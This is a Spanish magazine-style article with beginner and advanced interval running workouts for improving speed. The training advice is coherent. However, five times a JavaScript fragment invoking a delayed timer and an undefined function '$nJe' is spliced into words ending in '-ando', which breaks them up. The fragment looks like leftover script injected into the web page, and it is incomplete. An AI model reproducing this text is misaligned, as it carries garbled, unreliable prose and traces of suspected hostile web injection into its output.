Entrenamientos para aumentar tu velocidad

    Entrenamientos para aumentar tu velocidad

    Aprende a correr cada vez más rápido.

    Autor: Elizabeth Rivera 11 octubre, 2019


    FOTO: Shutterstock

    A muchos de nosotros nos encanta salir y comenzar nuestro día con una buena sesión de running.

     

    Si estás pensandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando en comenzar esta práctica, recuerda que tienes que comenzar de a poco y lo mejor es que consultes con un profesional para que evalúen tu estado físico y cuáles son tus metas.

    Si ya llevas tiempo entrenandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando, con nuestros ejercicios para avanzados puedes mejorar tu tiempo. Así que ponte los tenis y ¡a darle!

     

     

    Para los que empiezan

    Como cualquier cosa que sea nueva para el cuerpo, es importante que no intentes ritmos de alta intensidad y por distancias largas en un comienzo para no provocar una lesión. Ve poco a poco.   

     

     

    Primer Entrenamiento

    -Corre 45 minutos de manera suave.

    -Al terminar, corre por 20 segundos lo más rápido que puedas por 6 veces. Recupérate entre cada sprint con 45 segundos de trote suave. 

     

    Segundo Entrenamiento

    -Calienta de 15 a 20 minutos trotandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando suavemente. 

    -Al terminar, corre rápido 30 segundos y recupérate trotandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando 30 segundos (esta es una repetición). NO CAMINES. 

    -Al terminar los 30 seg de recuperación, vuelve a correr otros 30 seg y repite todo el proceso. 

    -Haz 10 repeticiones.

    -Al terminar trota 15 minutos para enfriar.

     

    Para los que ya tienen tiempo practicandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando

    Estos entrenamientos son MUY intensos, así que te recomendamos platicarlo antes con un profesional para que te diga si es adecuado para ti.

     

     

    Primer entrenamiento

    -20 minutos de calentamiento.

    -Corre 8 veces 600 metros, entre cada uno trota 200 metros para descansar.

    -Al terminar, corre 4 veces 200 metros más rápido de lo que corriste los 600 metros y haz intervalos de 200 metros de trote suave.

    -Termina con 20 minutos de enfriamiento.

     

    Segundo Entrenamiento

    -20 minutos de calentamiento.

    -Corre 5 veces 1 kilómetro con 2:30 minutos de recuperación entre cada intervalo. 

    -Termina con 3 kilómetros de enfriamiento.

     

     

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